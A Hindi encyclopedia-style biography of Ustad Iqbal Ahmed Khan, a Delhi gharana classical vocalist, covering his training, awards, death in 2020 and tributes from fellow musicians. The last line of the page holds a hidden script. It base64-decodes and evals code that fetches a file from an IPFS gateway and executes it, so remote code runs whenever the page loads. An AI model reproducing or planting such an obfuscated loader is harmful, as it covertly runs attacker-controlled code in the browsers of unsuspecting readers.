इक़बाल अहमद ख़ान
| |
पूरा नाम | उस्ताद इक़बाल अहमद ख़ान |
जन्म | 1954 |
जन्म भूमि | दिल्ली |
मृत्यु | 17 दिसंबर, 2020 |
मृत्यु स्थान | दिल्ली |
अभिभावक | पिता- उस्ताद चांद ख़ाँ |
कर्म भूमि | भारत |
कर्म-क्षेत्र | भारतीय शास्त्रीय संगीत |
पुरस्कार-उपाधि | 'प्रियदर्शनी पुरस्कार' (2001), 'राजीव रतन सद्भावना पुरस्कार' 2003 |
प्रसिद्धि | शास्त्रीय गायक |
नागरिकता | भारतीय |
संबंधित लेख | भारतीय शास्त्रीय संगीत, दिल्ली घराना |
उस्ताद इक़बाल अहमद ख़ान (अंग्रेज़ी: Ustad Iqbal Ahmed Khan, जन्म- 1954, दिल्ली; मृत्यु- 17 दिसंबर, 2020) दिल्ली घराने के प्रसिद्ध शास्त्रीय गायक थे। उन्हें भारतीय शास्त्रीय संगीत का अद्भुत ज्ञान था। इसके अलावा उन्होंने दिल्ली घराने को आगे बढ़ाने के लिए कई शिष्यों को निशुल्क संगीत की तालीम दी। उस्ताद इकबाल अहमद ख़ान भारतीय शास्त्रीय संगीत की विभिन्न शैलियों ठुमरी, दादरा, गजलें और भजन के लिए पहचाने जाते हैं। उन्हें साल 2001 में 'प्रियदर्शनी पुरस्कार' और साल 2003 में 'राजीव रतन सद्भावना पुरस्कार' समेत कई पुरस्कारों से सम्मानित किया गया था।
परिचय
उस्ताद इक़बाल अहमद ख़ान का जन्म सन 1954 में दिल्ली में हुआ। दिल्ली घराने के खलीफा ख़ान साहब को संगीत की शुरुआती तालीम अपने पिता उस्ताद चांद ख़ाँ से मिली थी। दिल्ली घराने के संरक्षक उस्ताद इक़बाल अहमद ख़ान को भारतीय शास्त्रीय संगीत की विभिन्न विधाओं में उनके बहुमुखी गायन के लिए जाना जाता था। जिसमें ठुमरी, दादरा के अलावा भजन और गजल भी शामिल हैं।
मृत्यु
इक़बाल अहमद ख़ान का 66 साल की उम्र में 17 दिसंबर, 2020 को निधन हुआ। प्रार्थना करते समय उन्हें हार्ट अटैक आया था। जिसके बाद तुरंत उन्हें दरियागंज के अस्पताल में भर्ती करवाया गया था। निजामुद्दी दरगाह के पास दिल्ली घराने के पैतृक कब्रिस्तान में उन्हें अंतिम विदाई दी गई।
गायक और संगीतकार विशाल ददलानी ने शोक जताते हुए ट्वीट कर लिखा, 'दिल्ली घराने के मुखिया उस्ताद इक़बाल अहमद ख़ान साहब के निधन से हैरान और दु:खी हूं। मैंने इंडियन आइडिल 2020 के दौरान उनके साथ बातचीत की थी और वह संगीत और सभी संगीतकारों के बारे में बहुत सहानुभूति रखते थे। मैं उम्मीद कर रहा था कि कोरोना महामारी खत्म होने पर मैं उनसे मिलूंगा।'[1]
सरोद वादक अमजद अली ख़ान ने भी दु:ख व्यक्त करते हुए लिखा, 'दिल्ली घराने के जाने-माने गायक उस्ताद इक़बाल अहमद ख़ान के निधन के बारे में जानकर बहुत दु:ख हुआ। उनकी विरासत उनके संगीत के माध्यम से जिंदा रहेगी। उनकी आत्मा को शांति मिले'।
तबले के अजराड़ा घराने के उस्ताद अकरम खां साहब खलीफा उस्ताद जी को याद करते हुए कहा, 'जब उस्ताद चांद खां साहब का इंतकाल हुआ था तो लगा कि घराने का चश्म-ओ-चिराग कैसे रोशन होगा! लेकिन खलीफा ने सब कुछ संभाल कर परंपरा को समृद्ध करते हुए इसे आगे बढ़ाया। लेकिन एक बार फिर लगता है कि अब क्या? कौन कैसे संभालेगा इस पीढ़ियों की परंपरा को'।[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ संगीतकार उस्ताद इकबाल अहमद ख़ान का निधन (हिंदी) m.nari.punjabkesari.in। अभिगमन तिथि: 31 दिसंबर, 2020।
- ↑ शास्त्रीय संगीत के दिल्ली घराने के खलीफा 'उस्ताद इकबाल अहमद' ख़ान का निधन (हिंदी) aajtak.in। अभिगमन तिथि: 31 दिसंबर, 2020।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>